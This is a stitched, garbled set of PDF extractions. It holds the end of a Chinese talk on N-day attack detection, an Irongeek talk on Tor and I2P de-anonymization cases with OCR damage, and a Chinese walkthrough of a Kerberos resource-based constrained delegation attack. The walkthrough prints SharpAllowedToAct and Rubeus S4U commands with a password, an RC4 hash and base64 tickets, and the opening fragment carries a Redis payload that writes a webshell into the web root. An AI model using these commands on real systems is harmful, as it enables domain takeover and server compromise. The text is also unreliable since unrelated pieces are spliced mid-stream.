ip=115.28.176.14&xp_ht=5A089AF6&xp_s=842768"/|/bash/&/ CONFIG/SET/dir//var/www/html// CONFIG/SET/dbfilename/redis.php/ / TCP Flow File Content Process Path 100+ 40000+ 99% 攻击向量 准确率 已知漏洞 模型效果 从Nday攻击到告警的全自动化 为Hunting提供准确完整的payload 监控Nday及Exploit变化 为情报、宏观态势、黑客社区发现提供数据支撑 RCE / SSRF / SQLI 文件操作 / 信息泄露 / webshell Nday感知 Chapter 3 3 Nday感知 Nday Exploit Library Alert 发现能力 Payload 解释能力 预测能力 无需漏洞先验知识 案例:Drupal / Hadoop RCE 云上大规模利用 落地思考 4 Chapter 4 时效性要求 准确性要求 运营资源 目标数据量 采集 / 存储 / 计算成本 标注方法 样本质量 探索-假设-验证-优化 算法接入与调优 可复现-可解释 迭代方案 风险控制 反馈机制 场景 数据 运营 数据科学落地安全产品 场景 数据 模型 运营 Q&A i[at]cdxy.me @xyntax
pdf
h"p://Irongeek.com0 Adrian0Crenshaw0 h"p://Irongeek.com0 !  I0run0Irongeek.com0 !  I0have0an0interest0in0InfoSec0 educa=on0 !  I0don’t0know0everything0@0I’m0just0a0 geek0with0=me0on0my0hands0 !  Sr.0Informa=on0Security0Consultant0 at0TrustedSec0 !  Co@Founder0of0Derbycon0 h"p://www.derbycon.com000 Twitter: @Irongeek_ADC h"p://Irongeek.com0 !  I0will0be0taking0two0perspec=ves0 "  People0trying0to0stay0anonymous0 "  People0trying0to0de@anonymize0users0 !  I’m0not0really0a0privacy0guy0 !  IANAL0 !  Be0careful0where0you0surf,0contraband0awaits0 h"p://Irongeek.com0 h"p://Irongeek.com0 Darknets0 !  There0are0many0defini=ons,0but0mine0is0 “anonymizing0private0network0”0 !  Use0of0encryp=on0and0proxies0(some0=mes0other0 peers)0to0obfuscate0who0is0communica=ng0to0 whom0 !  Some=mes0referred0to0as0Cipherspace00 (love0that0term)0 h"p://Irongeek.com0 The0Onion0Router0 h"p://Irongeek.com0 !  Who?0 First0the0US0Naval0Research0Laboratory,0then0the0EFF0and0now0the0Tor0Project0 (501c300non@profit).0 h"p://www.torproject.org/00 !  Why?0 “Tor0is0free0so[ware0and0an0open0network0that0helps0you0defend0against0a0form0 of0network0surveillance0that0threatens0personal0freedom0and0privacy,0 confiden=al0business0ac=vi=es0and0rela=onships,0and0state0security0known0as0 traffic0analysis.”0~0As0defined0by0their0site0 !  What?0 Access0normal0Internet0sites0anonymously,0and0Tor0hidden0services.00 !  How?0 Locally0run0SOCKS0proxy0that0connects0to0the0Tor0network.0 h"p://Irongeek.com0 !  Layered0encryp=on0 !  Bi@direc=onal0tunnels0 !  Has0directory0servers0 !  Mostly0focused0on0out0proxying0to0the0Internet0 !  More0info0at0h"ps://www.torproject.org00 Internet Server Directory Server h"p://Irongeek.com0 h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 Image from http://www.torproject.org/hidden-services.html.en h"p://Irongeek.com0 !  Client0 Just0a0user0 !  Relays0 These0relay0traffic,0and0can0act0as0exit0points0 !  Bridges0 Relays0not0adver=sed0in0the0directory0servers,0so0harder0to0block0 !  Guard0Nodes0 Used0to0mi=gate0some0traffic0analysis0a"acks0 !  Introduc=on0Points0 Helpers0in0making0connec=ons0to0hidden0services00 !  Rendezvous0Point0 Used0for0relaying/establishing0connec=ons0to0hidden0services00 h"p://Irongeek.com0 h"p://Irongeek.com0 !  Tails:0The0Amnesic0Incognito0Live0System0 h"ps://tails.boum.org/0 !  Tor2Web0Proxy0 h"p://tor2web.org00 !  Tor0Hidden0Wiki:0 h"p://kpvz7ki2v5agwt35.onion0 !  Scallion0(make0host0names)0 h"ps://github.com/lachesis/scallion00 !  Onion0Cat0 h"p://www.cypherpunk.at/onioncat/0 !  Reddit0Onions0 h"p://www.reddit.com/r/onions00 0 h"p://Irongeek.com0 Pros- !  If0you0can0tunnel0it0through0a0SOCKS0proxy,0you0can0make0 just0about0any0protocol0work.0 !  Three0levels0of0proxying,0each0node0not0knowing0the0one0 before0last,0makes0things0very0anonymous.0 Cons- !  Slow0 !  Do0you0trust0your0exit0node?0 !  Semi@fixed0Infrastructure:00 Sept025th02009,0Great0Firewall0of0China0blocks080%0of0Tor0 relays0listed0in0the0Directory,0but0all0hail0bridges!!!0 h"ps://blog.torproject.org/blog/tor@par=ally@blocked@china00 h"p://yro.slashdot.org/story/09/10/15/1910229/China@Strangles@Tor@Ahead@of@Na=onal@Day00 !  Fairly0easy0to0tell0someone0is0using0it0from0the0server0side0 h"p://www.irongeek.com/i.php?page=security/detect@tor@exit@node@in@php00000 h"p://Irongeek.com0 (Keep0in0mind,0this0is0just0the0defaults)0 !  Local0 9050/tcp0Tor0SOCKS0proxy0 9051/tcp0Tor0control0port0 (91500and091510on0Tor0Browser0Bundle)0 !  Remote0 443/tcp0and080/tcp0mostly0 Servers0may0also0listen0on0port09001/tcp,0and0directory0 informa=on0on09030.0 !  More0details0 h"p://www.irongeek.com/i.php?page=security/detect@tor@ exit@node@in@php0 h"p://www.room362.com/tor@the@yin@or@the@yang00 h"p://Irongeek.com0 h"p://ge=2p.net0 h"p://Irongeek.com0 !  Crypto0Currency0 !  Proof0of0work00 !  Bitcoin0Addresses0&0Private0Keys0 !  Block0Chain0(ledger)0 !  Tumblers0(laundering)0 !  Way0more0info0by0Bob0Weiss0 h"p://www.irongeek.com/i.php?page=videos/bsidesde2013/2@6@ hacking@benjamins@bob@weiss@pwcrack@into@to@bitcoin00 h"p://Irongeek.com0 !  On0Dec.016th020130a0bomb0threat0was0made0to0Harvard’s0student0news0 paper0and0some0officials.0 !  The0person0used0h"ps://www.guerrillamail.com0to0send0 email0a[er0connec=ng0over0Tor0 !  Guerrilla0Mail0puts0an0X@Origina=ng@IP0header0on0that00 marked0who0sent0the0message,0in0this0case0a0Tor0exit0point0 To:0"irongeek@irongeek.com"0<irongeek@irongeek.com>00 From:0<e9jnqrz+oo4j3w@guerrillamail.com>00 Subject:0Hey0baby!00 X@Origina=ng@IP:0[74.128.28.74]0 0Content@Type:0text/plain;0charset="uy@8"0 shrapnel bombs placed in: science center sever hall emerson hall thayer hall 2/4. guess correctly. be quick for they will go off soon h"p://Irongeek.com0 !  All0Tor0nodes0are0publicly0known0(except0bridges):0 h"p://torstatus.blutmagie.de00 !  Easy0to0correlate0who0was0a"ached0to0Harvard0network0 and0using0Tor0at0the0same0=me0the0email0was0sent0(unless0 you0use0a0bridge).000 !  Eldo0Kim0was0connected0to0the0Tor0network0around0that0 =me.0 !  Suspect0Eldo0Kim0wanted0to0get0out0of0a0final0and0admi"ed0 he0made0the0bomb0threat0when0interviewed.0 !  More0Details:0 h"p://arstechnica.com/security/2013/12/use@of@tor@helped@zi@finger@ bomb@hoax@suspect/00 h"p://www.scribd.com/doc/192371742/Kim@El@Do@Harvard000 h"p://Irongeek.com0 Lessons0Learned:0 !  Don’t0be0the0only0person0using0Tor0on0a0 monitored0network0at0a0given0=me0 !  Use0a0bridge?00 !  Don’t0admit0anything0 !  Correla=on0a"acks0are0a0bitch0 h"p://Irongeek.com0 5MB 8MB Client Client Client Client h"p://Irongeek.com0 Client Client Client DoS Attack I0could0just0 watch0the0 =mings.0 Pulse0the0 data0flows0 myself.0 Or0even0just0 change0the0load0 on0the0path.0 0 DoS0outside0 host0to0affect0 traffic.00 h"p://Irongeek.com0 DNS Query Monitored DNS Server If0I0don’t0use0the0 proxy0for0DNS,0I0 may0send0the0 query0to0a0DNS0 server.0It0won’t0 see0my0traffic0 to/from0the0 des=na=on,0but0 may0now0know0 I’m0visi=ng0 someplace.com/ .onion/.i2p0 h"p://Irongeek.com0 !  Hector0Xavier0Monsegur0(Sabu)0normally0 used0Tor0for0connec=ng0to0IRC0but0was0 caught0not0using0it0once0and0FBI0found0 his0home0IP.0A[er0being0caught,0he0 started0to0collaborate.00 !  Hector0spoke0with0Jeremy0Hammond0 (sup_g)0on0IRC,0and0Jeremy0casually0let0 slip0where0he0had0been0arrested0before0 and0groups0he0was0involved0with.00 !  This0narrowed0the0suspect0pool,0so0the0 FBI0got0a0court0order0to0monitor0his0 Internet0access.0 h"p://Irongeek.com0 !  Hammond0used0Tor,0and0while0the0crypto0 was0never0busted,0FBI0correlated0=mes0 sup_g0was0talking0to0Subu0on0IRC0with0 when0Hammond0was0at0home0using0his0 computer.0 !  More0Details:0 h"p://arstechnica.com/tech@policy/ 2012/03/stakeout@how@the@zi@tracked@ and@busted@a@chicago@anon/00 h"p://Irongeek.com0 Lessons0Learned:0 !  Use0Tor0consistently0 !  Don’t0give0personal0informa=on0 !  Correla=on0a"acks0are0s=ll0a0bitch!0 h"p://Irongeek.com0 !  Freedom0Hos=ng0hosted,0amongst0other0things,0 many0child0porn0related0hidden0service0websites.0 !  Freedom0Hos=ng0had0previously0come0under0a"ack0 by0Anonymous0during0Op0Darknet0because0of0it0 hos=ng0CP.0 !  In0July0of02013,0the0FBI0compromised0Freedom0 Hos=ng,0and0inserted0malicious0Java0Script0that0 used0Firefox0bug0CVE@2013@16900in0version0170ESR.00 !  The0Tor0Browser0Bundle0is0based0on0Firefox,0and0 the0newest0version0was0already0patched,0but0not0 everyone0updates0in0a0=mely0fashion.0 h"p://Irongeek.com0 !  The0payload0was0“Magneto”,0which0phoned0home0 to0servers0in0Virginia0using0the0host’s0public0IP.00 h"p://ghowen.me/zi@tor@malware@analysis00 !  It0also0reported0back0the0computer’s:0 "  MAC0address0 "  Windows0host0name0 unique0serial0number0to0=e0a0user0to0a0site0 !  May0be0same0as0Ego=s=calGiraffe.0 !  See0also:00 "  Magic0Lantern00 "  FOXACID0 "  Computer0and0Internet0Protocol0Address0Verifier0(CIPAV)0 !  Thanks0to0Joe0Cicero0for0"Privacy0In0a0Surveillance0 State,0Evading0Detec=on"0(P.I.S.S.E.D.)0talk.0 I am the best Giraffe EVAR!!! Bow to my Giraffey goodness! h"p://Irongeek.com0 !  An0Irish0man,0Eric0Eoin0Marques,0is0alleged0to0be0 the0operator0of0Freedom0Hos=ng.0The0servers0 hos=ng0Freedom0Hos=ng0were0=ed0to0him0because0 of0payment0records.0 !  Marques0was0said0to0have0dived0for0his0laptop0to0 shut0it0down0when0police0raided0him.0 !  More0Details:0 h"p://www.wired.com/threatlevel/2013/09/ freedom@hos=ng@zi/000 h"p://Irongeek.com0 Lessons0Learned:0 !  Don't0host0Captain0Picard0or00 Julian0Bashir00 !  Patch,0patch,0patch0 !  Follow0the0money0 !  Leave0encrypted0laptops0in0a0powered0 down0state0when0not0in0use!0 h"p://Irongeek.com0 Let’s0see0if0the0 hidden0server0 app0is0vulnerable0 to0an0exploit0 (buffer0 overflow/web0 app0shell0exec/ etc).00 0 Send0a0payload0 that0contacts0an0 IP0I0monitor.0 Exploit & Payload h"p://Irongeek.com0 !  Someone0going0by0the0handle0“Dread0Pirate0 Roberts”0was0the0operator0of0the0SilkRoad,0which0 allows0sellers0and0buyers0to0exchange0less0than0 legal0goods0and0services.0 h"p://silkroadvb5piz3r.onion00 !  With0about0$1.20Billion0in0exchanges0on0SilkRoad,0 FBI0wanted0to0know0who0was0behind0it.00 !  They0started0to0look0for0the0earliest0references0to0 the0SilkRoad0on0the0public0Internet.00 From-court-documents:- “As0of0September023,02013,0there0were0nearly013,0000lis=ngs0for0 controlled0substances0on0the0website,0listed0under0the0categories0 "Cannabis,"0"Dissocia=ves,"0"Ecstasy,"0"Intoxicants,"0"Opioids,"0 "Precursors,"0"Prescrip=on,"0"Psychedelics,"0and0"S=mulants,"0among0 others.0“0 0 “There0were01590lis=ngs0on0the0site0under0the0category0"Services."0Most0 concerned0computer@hacking0services:0for0example,0one0lis=ng0was0by0a0 vendor0offering0to0hack0into0Facebook,0Twi"er,0and0other0social0 networking0accounts0of0the0customer's0choosing,0so0that0"You0can0Read,0 Write,0Upload,0Delete,0View0All0Personal0Info";0another0lis=ng0offered0 tutorials0on0"220different0methods"0for0hacking0ATM0machines.0Other0 lis=ngs0offered0services0that0were0likewise0criminal0in0nature.0For0 example,0one0lis=ng0was0for0a0"HUGE0Blackmarket0Contact0List,"0 described0as0a0list0of0"connects"0for0"services"0such0as0"Anonymous0Bank0 Accounts,"0"Counterfeit0Bills0(CAD/GBP/EUR/USD)0,"0"Firearms0 +Ammuni=on,"0"Stolen0Info0(CC0[credit0card],0Paypal)0,"0and0"Hitmen0 (10+0countries)."0“0 0 “Sellers0may0not0list0forgeries0of0any0privately0issued0documents0such0as0 diplomas/cer=fica=ons,0=ckets0or0receipts.0Also,0lis=ngs0for0counterfeit0 currency0are0s=ll0not0allowed0in0the0money0sec=on.”0 h"p://Irongeek.com0 !  The0earliest0they0could0find0was0from0“altoid”0on0the0Shroomery.org00forums0on001/27/11.0 h"p://www.shroomery.org/forums/showflat.php/Number/1386099500 h"p://Irongeek.com0 !  BitCoinTalk.org0Post0 !  “Quote0from:0altoid0on0January029,02011,007:44:510PM0 What0an0awesome0thread!00You0guys0have0a0ton0of0great0ideas.00Has0anyone0 seen0Silk0Road0yet?00It's0kind0of0like0an0anonymous0amazon.com.00I0don't0think0 they0have0heroin0on0there,0but0they0are0selling0other0stuff.00They0basically0use0 bitcoin0and0tor0to0broker0anonymous0transac=ons.00It's0at0 h"p://tydgccykixpbu6uz.onion.00Those0not0familiar0with0Tor0can0go0to0 silkroad420.wordpress.com0for0instruc=ons0on0how0to0access0the0.onion0site.0 0 Let0me0know0what0you0guys0think” h"ps://bitcointalk.org/index.php?topic=175.msg42479#msg4247900 h"p://Irongeek.com0 !  An0account0named0“altoid”0also0made0a0post0on0Bitcointalk.org0about0looking0 for0an0“IT0pro0in0the0bitcoin0community”0and0asked0interested0par=es0to0contact0 “rossulbricht-at-gmail-dot-com”0(10/11/11).0 h"ps://bitcointalk.org/index.php?topic=47811.000 h"p://Irongeek.com0 !  Ulbricht’s0Google+0profile0show0an0interest00in0the0“Mises0Ins=tute”00a0“world0 center0of0the0Austrian0School0of0economics.”0 !  Dread0Pirate0Roberts’0signature0on0the0Silk0Road0forums0had0a0link0to0the0Mises0 Ins=tute.0Austrian0Economic0theory0was0also0stated0by0Dread0Pirate0Roberts0to0 be0influen=al0to0the0the0Silk0Road’s0philosophy.0 h"p://Irongeek.com0 !  "Ross0Ulbricht.”0account0also0posted0on0StackOverflow0asking0for0help0with0PHP0code0to0 connect0to0a0Tor0hidden0service.0The0username0was0quickly0changed0to0 “frosty”0(03/16/12).0 h"p://stackoverflow.com/ques=ons/15445285/how@can@i@connect@to@a@tor@hidden@ service@using@curl@in@php00 !  Guess0who0is0now0a0suspect0for0being0“Dread0Pirate0Roberts”?0Ross0William0Ulbricht.0 h"p://Irongeek.com0 !  Someone0was0connec=ng0to0a0server0that0hosts0the0Silk0Road0from0an0Internet0 café0near0where0Ross0lived0in0San0Francisco.0Private0messages0on0Silk0Road0 make0it0seem0Dread0Pirate0Roberts0lived0in0the0Pacific0=me0zone.0 !  IP0of0a0Silk0Road0server0was0a"ached0to0via0a0VPN0server0that0was0connected0to0 by0an0IP0belonging0to0an0Internet0cafe0on0Laguna0Street0in0San0Francisco0from0 which0Ulbricht0had0also0connected0to0his0Gmail0account0with0(both0on0June03,0 2013).00 !  PM0to0Dread0Pirate0Roberts0from0a0user0said0the0site0was0leaking0"some0sort0of0 external0IP0address"0belonging0to0the0VPN.0 !  FBI0starts0taking0down0SilkRoad0servers,0though0I’m0are0not0sure0how0they0were0 found.0Could0have0been0money0trail0to0aliases,0or0as0Nicholas0Weaver0 conjectured,0they0hacked0SilkRoad0and0made0it0contact0an0outsides0server0 without0using0Tor0so0it0revealed0it’s0real0IP.0Once0located,0FBI0was0able0to0get0a0 copy0of0one0of0the0servers.0 h"p://Irongeek.com0 !  On007/10/130US0Customs0intercepted090IDs0with0different0names,0but0all0having0a0picture0of0 Ulbricht.0Homeland0Security0interviewed0Ulbricht,0but0he0denied0having0ordered0them.00 0 !  Smart:0“ULBRICHT0generally0refused0to0answer0any0ques=ons0pertaining0to0the0purchase0of0 this0or0other0counterfeit0iden=ty0documents.”0 !  Stupid:0“However,0ULBRICHT0volunteered0that0"hypothe=cally"0anyone0could0go0onto0a0 website0named0"Silk0Road"0on0"Tor"0and0purchase0any0drugs0or0fake0iden=ty0documents0the0 person0wanted.0“0 !  Roommates0knew0him0as0“Josh”.0PMs0show0DPR0was0interested0in0geÖng0fake0IDs.0 h"p://Irongeek.com0 !  Server0used0SSH0and0a0public0key0that0ended0in0frosty@frosty.0Server0also0had0some0of0 the0same0code0posted0on0StackOverflow.0 !  Eventually,0on0010/01/20130the0FBI0Landed0on0him0in0a0Library0right0a[er0he0entered0the0 password0for0his0laptop.0More0evidence0was0found0on0his0laptop.0 !  More0info0(Big0thanks0to0Nate0Anderson0for0the0original0ar=cle0and0Agent0Christopher0 Tarbell0for0court0docs):0 h"p://arstechnica.com/tech@policy/2013/10/how@the@feds@took@down@the@dread@ pirate@roberts/00 h"ps://www.cs.columbia.edu/~smb/UlbrichtCriminalComplaint.pdf00 h"p://Irongeek.com0 Lessons0Learned:0 !  Keep0online0iden==es0separate0 "  Keep0different0usernames00 "  From0different0loca=ons0 !  Have0a0consistent0story0 !  Don’t0talk0about0interests0 !  Don’t0volunteer0informa=on!0 h"p://Irongeek.com0 Maybe?0 h"p://Irongeek.com0 !  Talk0on0Darknets0in0general0 h"p://www.irongeek.com/i.php?page=videos/aide@ winter@2011#Cipherspace/Darknets:_anonymizing_private_networks0 !  I2P0FAQ0 h"p://www.i2p2.de/faq.html00 !  Tor0FAQ0 h"ps://trac.torproject.org/projects/tor/wiki/doc/TorFAQ00 !  Tor0Manual0 h"ps://www.torproject.org/docs/tor@manual.html.en00 !  I2P0Index0to0Technical0Documenta=on0 h"p://www.i2p2.de/how00 h"p://Irongeek.com0 !  Intro0to0Darknets:0Tor0and0I2P0Workshop0 h"p://www.irongeek.com/i.php?page=videos/intro@to@tor@i2p@darknets00 !  My0Tor/I2P0Notes0 h"p://www.irongeek.com/i.php?page=security/i2p@tor@workshop@notes00 !  Cipherspaces/Darknets0An0Overview0Of0A"ack0Strategies0 h"p://www.irongeek.com/i.php?page=videos/cipherspaces@darknets@an@overview@of@a"ack@strategies00 !  Anonymous0proxy0to0the0normal0web0 h"p://www.irongeek.com/i.php?page=videos/tor@10 !  Hidden0services0 Normally0websites,0but0can0be0just0about0any0TCP0 connec=on0 h"p://www.irongeek.com/i.php?page=videos/tor@hidden@services00 h"p://Irongeek.com0 !  Ac=ve0Defense0Harbinger0Distribu=on0(ADHD)00 h"p://sourceforge.net/projects/adhd/00 from0Black0Hills0Informa=on0Security0&0SecureIdeas0 !  Metasploit0Decloaker,0web0bugs,0etc.0 h"p://Irongeek.com0 Derbycon0 Sept024th@28th,020140 h"p://www.derbycon.com0 0 0 0 0 0 Others0 http://www.louisvilleinfosec.com http://skydogcon.com http://hack3rcon.org http://outerz0ne.org http://phreaknic.info http://notacon.org Photo Credits to KC (devauto) Derbycon Art Credits to DigiP h"p://Irongeek.com0 420 0 0 Twi"er:0@Irongeek_ADC0
pdf
⾸先给LDC,添加对⽤⼾账⼾ kaba 的基于资源的约束委派 接着申请到⽬标机器的票据: C:\Users\Administrator\Desktop>SharpAllowedToAct.exe -m kaba -u administrator -p 1qaz2WSX -t KASPERSKY -a LDC.dev.pig.com -d dev.pig.com [+] Domain = dev.pig.com [+] Domain Controller = LDC.dev.pig.com [+] Machine added by the attacker = [+] Distinguished Name = CN=kaba,CN=Users,DC=dev,DC=pig,DC=com [+] Try login. [+] SID of the machine added by the attacker: S-1-5-21-2391806502-1831592058-3108405647-1107 [+] Attribute changed successfully [+] Done! C:\Users\Administrator\Desktop>Rubeus.exe s4u /user:kaba /domain:dev.pig.com /dc:LDC.dev.pig.com /rc4:161cff084477fe596a5db81874498a24 /impersonateuser:Administrator /msdsspn:cifs/LDC.dev.pig.com ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.1 [*] Action: S4U [*] Using rc4_hmac hash: 161cff084477fe596a5db81874498a24 [*] Building AS-REQ (w/ preauth) for: 'dev.pig.com\kaba' [+] TGT request successful! [*] base64(ticket.kirbi): doIExDCCBMCgAwIBBaEDAgEWooID4DCCA9xhggPYMIID1KADAgEFoQ0bC0RFVi5QSUcuQ09NoiAwHqAD AgECoRcwFRsGa3JidGd0GwtkZXYucGlnLmNvbaOCA5owggOWoAMCARKhAwIBAqKCA4gEggOELXywoZgX J9NsLgm+ML7+N2+SpZo55VmuWW4Hh9Vq8/kZ74Mj9t9XqloUNLhwUlgFN7zo0t9soMNJwGB+VM8cvaAn yjoF2Wa46CPqNmPW3V1iY7jwWRXjLdo62Y5VHAmTDEMqqvO5xQ7AvqGwThQK7wNfbZG50W/zcSikz/rU 28mJpCuwDSYrfLt4EqYwAc2wyyu2jcKYx3LiKrKvS7O4edCy2V0ixxwLcMKcWK1aawKnnoJsYK7anGMp 7Uavq2I8S/k7OdOOeOcU93cBkLUovaB9GPZMcUxzh3OS6zepXZIRMDJaKjFgKXCoDRCIsMFqdr0+akGI dd469bHkIDqlq7nNf+h/dw+E0kynuRMYxtfkkWP29coajCZr+8e8+NcYLyU+JtscPFfX3IWSbI0QAyNU ef+W5a99qIuUr3chpqSmS1alU4w7BNSyXp4shFk0+kveXxkqO2IVdxP1XrW4Q+gxJSc06AIVliReLDU6 Mv05a0nCOzSK8fGk7jPdpKiZn4TNpBnbLSgAPS3GCDzz+TedfPmQSUAaC7kIlMJA2iBAby1y5gOad/zg 3/toZuahINjeR0EVdBoLrtrVGSS0dSG2d5MMN+pxYP1pLoo4AUnYMl+4Bs8yMYdAr/NoqvjzDsHgJEYe D/Ws0PN2sah7K6cbsloJBa+/KdncddZBxDp9ogj+GT9Ab+LRivQGJzcdigXLzEKSFAbj6JHM4Q5jkVmH 85R91tRPjFgqlN21ivZ1B+uVerfw2tHr3vdrn/yARlaz3dfuMQbH7JI+2qacFBlMqrLgXXObLPHCUtY8 j/JN8O5uVhqIJB11FNeJN3Dm9ll95cGF8B1V3PC3jXgcJ5u+N2LO4tkaYJlsVSTFO772Dcv8PfROTdHp UaQIZbpD8D2Q+vD9GG907DdEHHzkhJm1E6GZWMjySMMRbRDm39wsvudRyBPhUuXKvsvDH5AshZPr8FXC Dq8XGvMpYRfaa695PrRB+hiWCKwXTJu7yqkV51XdsWaHvJ/vpTeQHGJJIQGgfG4IbddsQLqLSYfjbkN0 UqvQ/Yiyzmh75LaFOHBHtZTEu6kuy8Tf3hbmUpW/TaaLjSXk/PwJneC1f/OL9UHAj0tE4r+/qqpfjAWz zRpT1LZgNt5xmdjjpuEmILV+mil2DismIG0+y6+JlLn4qCEN+um/Odaims9111ukpJlzO1YLo4HPMIHM oAMCAQCigcQEgcF9gb4wgbuggbgwgbUwgbKgGzAZoAMCARehEgQQbvhdMtgsktpRSPHAafNbsaENGwtE RVYuUElHLkNPTaIRMA+gAwIBAaEIMAYbBGthYmGjBwMFAEDhAAClERgPMjAyMjA1MTUwMTIwMjNaphEY DzIwMjIwNTE1MTEyMDIzWqcRGA8yMDIyMDUyMjAxMjAyM1qoDRsLREVWLlBJRy5DT02pIDAeoAMCAQKh FzAVGwZrcmJ0Z3QbC2Rldi5waWcuY29t [*] Action: S4U [*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4) [*] Building S4U2self request for: 'kaba@DEV.PIG.COM' [*] Sending S4U2self request [+] S4U2self success! [*] Got a TGS for 'Administrator' to 'kaba@DEV.PIG.COM' [*] base64(ticket.kirbi): doIFJzCCBSOgAwIBBaEDAgEWooIESTCCBEVhggRBMIIEPaADAgEFoQ0bC0RFVi5QSUcuQ09NohEwD6AD AgEAoQgwBhsEa2FiYaOCBBIwggQOoAMCAReiggQFBIIEAQ2VmccbEiBjc9vHPfDm+V2/tI/eVgX5Ux5+ Ro3PgT/uNKkZmYGfplTmnpnnu9nc0+w3fjW/NRurOoFAcv1H0diLJ5sjIm5+hBC1xtV+argaDxa2mwWp 19Cy/tmxVmKNwljX+2M+nF3IABcvJDvIYi4ywTkDTB5oi1bd1JJcbMZZY0LUTB1YU16w05a8Or3XgDS6 ukOrLAgL9t1vJjg4fU0lqMgTkWEizHG+NELTT4nF2gSL2KNlj86m+uV/4sitJH99M1FmTEfYIaLbQeen UEv8SsWj/hYvW9H+XnzNnvRGO5Q1XYiJJJ6bofA70mo8yFfL65UcukKEzNtshcCIiMPlqhIlFCYU9FMO yPKurCmCcDycuowlKwOIhAy7Qr4d7Ohwek8w4keZuh67b5rc3rUlEiajlr6zqntSLHdLyNmkhXVvzF/Y A8XTnzuMdCl0KOg0LDjpcreWPuWWJkEHLBKLuuKNJrTT+6hWXR6cjgRgh8oMoBmxUsZQwf5i4LpIGc4x Q/B9DV24Af+ml2R0zErk4RZEmrhbYMRDI6TUPkmaoakSuYxaRFwww5jaoEpzdRehkfJQm7qR+89He/Dn OvobgcHYkxnHzE+/hSkBWxNjzZ6Ox9CRgCWr+NWNL3LNj2MpeIBVBM/cNeREioCW8sqvtyHEajwfFkz6 RZkN+0WoqM9MIj6xPSKorwis9v4LTjVjrofMi0CGUnceQyXroE/cd6ayNQbyCDphd0OZJLUL064TZXLH 8/66o+JZDLJChuZecUf5uwwJUVsaTQ/cb1zctKYcpk9zjwcaKvLUTxcaCgF4Rp2OwnIlZCUliboObljU 4jWLnDA5gv7vtKQQ+tJYLNwbhlr+1XUEXxYPMYzpdjfG821bROnTmVwrJ3Uk8QD/t8a3Og5lPPn9BMmS wt8W0m+71oe0CxOsSCWc7X8IdoyFYdiXW553crrjyQBJI3SXhiQcYe6Xy5fkPKy1lm5vDGblNiN1KSsT BYMia+ZSBeqt9hRIMzOm9mCg8CrEQ/lxSXYyO71Uxr0a2Dgrv4AMhd8gFhyPH2cNGe25B2JzM/pKsEP6 GFAJyomILoRnUa+iGi7erC+/TT/EKzefV2N/mwOVgZpjAX0tOftVuxek+YqP+OBvJvRp6e6BrNguMGdE rR0ZAuhpCLpv67eXE1yztCQFqKBJTxjq+vf1INEaEnfrWusIITfMzdPt3Z4A7NzxaXieBqCAWt5RnT3M lvzxNwHhfPwB3YrTyhYeLbqzWjBaOHF0Bh30dQQZLjv9b7CRWi2JmmRn7W7zsxuzwz1Tq583MLzIIaEs JAgkK3FEf+If+1RD0M4e7v2x7Jb5PprvG4z3K0z0K+3m5W7GyBdjo4HJMIHGoAMCAQCigb4Egbt9gbgw gbWggbIwga8wgaygGzAZoAMCARehEgQQnLKsr5SQTO791ukPiBp3DKENGwtERVYuUElHLkNPTaIaMBig AwIBCqERMA8bDUFkbWluaXN0cmF0b3KjBwMFAAChAAClERgPMjAyMjA1MTUwMTIwMjNaphEYDzIwMjIw NTE1MTEyMDIzWqcRGA8yMDIyMDUyMjAxMjAyM1qoDRsLREVWLlBJRy5DT02pETAPoAMCAQChCDAGGwRr YWJh SamConnect OK SamrOpenDomain OK rid is 1107 SamOpenUser OK SamiChangePasswordUser OK OK [*] Impersonating user 'Administrator' to target SPN 'cifs/LDC.dev.pig.com' [*] Using domain controller: LDC.dev.pig.com (fe80::f1ae:2e17:d9a1:1148%4) [*] Building S4U2proxy request for service: 'cifs/LDC.dev.pig.com' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/LDC.dev.pig.com': doIF6jCCBeagAwIBBaEDAgEWooIE+zCCBPdhggTzMIIE76ADAgEFoQ0bC0RFVi5QSUcuQ09NoiIwIKAD AgECoRkwFxsEY2lmcxsPTERDLmRldi5waWcuY29to4IEszCCBK+gAwIBEqEDAgELooIEoQSCBJ0RYkRM BODHov2sQRlno0XgkxcyeEiQTEpTZUPApHaoyH/O9ZHJiTmVf/fQK4uAuKeYommuITj4Cfw99N3qH8+3 TJk6y3lRZMNlNMbKlrz96nVXLVorue7PBH5yWsED1iIJ7ddTo77AHZXqT0CMuQqhd2IYP/yS9ehtISEc 3W29KRpMHmywXVzGFMij9lRWLcFmhw/bEMUymubVTrF8j1TzDgmWK2nHIWGAmMh0FKOHjYCyuO1EL6LB 6Ag7X8uTTavSFbtshDajXKzw1c4FPrva3l+d/U2Kmn8d+4CTH5dceujeixDfFwM/fhb2+EItoyjXhs0M l5XbvUF2unTUsgHv1HUyPduExjZ25ILmTV9HvqIl8pjMIbcVkiCwJCExyD45el4NmkgIgR4YhiF68cxY VQkJd5SU/pxMT9J6UmPewBDp9tQ1XA60vJ1ywowtrjoCiluscTgAwqqMEOif19zTfhSsbHgEKa6zvc6w ViiWAIKO8tphFnjsazxDejNDXF7HRrwQLb0Ela/cBMG4ON3rtvVaxarvr1ikQt30LM20cc+I5wTrIkeR P/Vk0PyVdNNTHbh9tvgL1/2V+7w9mTVvmp0hYmsggY8UdAbkdTFGMMPJTyXp89lS3AUvc12yondhCtDl 注意: 1. 改完之后可以⽴⻢改回来,⼯具⾥写了执⾏完 S4U2Proxy 后还会修改⼀次密码恢复账⼾,但可能还是会出 问题废掉域⽤⼾ 2. 需要⽬标域⽀持RC4 6tcz2iEyIiqaKKuC3A0dcj95AaeB5W86pVvIEKZOagGoulsc2KQqWvgku7xn+VAxV2iFP3xr3ep0KtiR gBiuB6/pbzYEC9HwvPTjAOgMq40MtsthP6s+sNslsmjECmrQCDyg1oE5hT/DjncMgz16N9vyaB19/T3j 